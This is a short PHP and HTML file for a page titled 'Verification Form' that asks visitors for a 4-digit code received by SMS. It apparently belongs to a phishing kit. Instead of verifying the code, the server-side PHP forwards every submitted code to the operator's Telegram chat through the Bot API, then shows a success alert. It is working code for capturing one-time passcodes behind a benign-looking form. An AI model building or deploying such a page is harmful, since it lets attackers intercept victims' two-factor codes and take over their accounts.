<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Get the 4-digit code from the form input
    $verification_code = $_POST['verification_code'];

    // Define your Telegram Bot API token and chat ID
    $token = 'YOUR_BOT_TOKEN'; // Replace with your bot token
    $chat_id = 'YOUR_CHAT_ID'; // Replace with your chat ID

    // Create the message to send to Telegram
    $message = "Verification Code Received: $verification_code";

    // Send the message to your Telegram channel using the Telegram API
    $sendMessageUrl = "https://api.telegram.org/bot$token/sendMessage";
    $data = [
        'chat_id' => $chat_id,
        'text' => $message,
        'parse_mode' => 'HTML',
    ];

    // Initialize cURL to send the message
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $sendMessageUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    // Execute the request and close the connection
    $response = curl_exec($ch);
    curl_close($ch);

    // Check if the request was successful (you can handle error cases here)
    if ($response) {
        echo "<script>alert('Verification code sent successfully!');</script>";
    } else {
        echo "<script>alert('Error sending verification code.');</script>";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Verification Form</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" />
</head>
<body style="background: linear-gradient(135deg, #09467C, #0f6fa0); min-height: 100vh; padding: 20px; font-family: Arial, sans-serif;">

<div class="container mt-5">
    <h2 class="text-center text-white">Enter Your 4-Digit Verification Code</h2>
    <form method="POST" novalidate>
        <div class="mb-3">
            <label for="verificationCode" class="form-label text-white">Enter the 4-digit code you received via SMS:</label>
            <input id="verificationCode" type="text" name="verification_code" maxlength="4" class="form-control" required pattern="\d{4}" placeholder="****" />
        </div>
        <button type="submit" class="btn btn-primary w-100">Submit</button>
    </form>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
